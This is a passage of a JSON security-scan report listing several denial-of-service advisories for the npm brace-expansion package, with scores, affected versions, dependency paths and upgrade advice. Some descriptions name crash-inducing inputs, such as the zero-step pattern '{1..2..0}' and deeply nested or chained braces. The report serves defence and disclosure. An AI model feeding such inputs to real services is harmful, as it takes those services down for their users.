"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
